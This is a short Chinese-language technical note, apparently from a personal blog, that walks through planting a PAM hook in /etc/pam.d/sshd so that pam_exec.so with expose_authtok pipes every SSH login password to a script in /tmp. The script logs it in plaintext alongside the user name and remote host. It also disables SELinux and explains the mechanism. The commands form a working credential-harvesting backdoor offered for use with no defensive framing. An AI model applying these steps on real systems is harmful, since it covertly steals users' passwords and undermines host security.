type
status
date
slug
summary
tags
category
icon
password
1.宿主机临时关闭 selinux。
setenforce 0
下面操作都在容器中执行
2.touch
/etc/pam.d/sshd
awk 'BEGIN { print "auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh" } { print }' /etc/pam.d/sshd > /tmp/sshd.tmp && sudo mv /tmp/sshd.tmp /etc/pam.d/sshd
3.
echo -e '#!/bin/sh\n\necho "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log' | sudo tee /tmp/sshd.sh > /dev/null
4.chmod 777 /tmp/sshd.sh
5.
ssh -o StrictHostKeyChecking=no root@$HOSTNAME
6.cat /tmp/123.log
总:
效果如下 :
/tmp/123.log里面会有相关ip和ssh账户和密码
原理如下:
执行流程:
- 当一个用户通过SSH尝试登录时,PAM会按照
/etc/pam.d/sshd
中的配置依次调用各个模块。
- 由于
pam_exec.so
模块被配置在第一行,它会首先被调用,并执行/tmp/sshd.sh
脚本。
pam_exec.so
模块会将用户输入的密码通过标准输入传递给/tmp/sshd.sh
脚本。
sshd.sh
脚本读取标准输入中的密码,并将相关信息记录到/tmp/123.log
文件中。
里面需要关注的就是
pam_exec.so
模块如何将用户输入的密码通过标准输入传递给/tmp/sshd.sh
脚本。
pam_exec.so
模块的expose_authtok
选项允许将用户的认证令牌(即密码)通过标准输入(stdin)传递给外部脚本。以下是详细步骤:pam_exec.so
模块从PAM框架中获取认证令牌(密码)。
- 它将认证令牌通过标准输入传递给外部脚本。
除了通过标准输入传递密码外,
pam_exec.so
模块还会设置一些环境变量,这些变量包含当前认证会话的相关信息,如PAM_USER
、PAM_RHOST
、PAM_RUSER
等。外部脚本可以从环境变量中获取这些信息。原理还是挺浅显的 后续也不用探究了
这次老外比咱们晚:
可插拔身份验证模块的双重性 |Group-IB 博客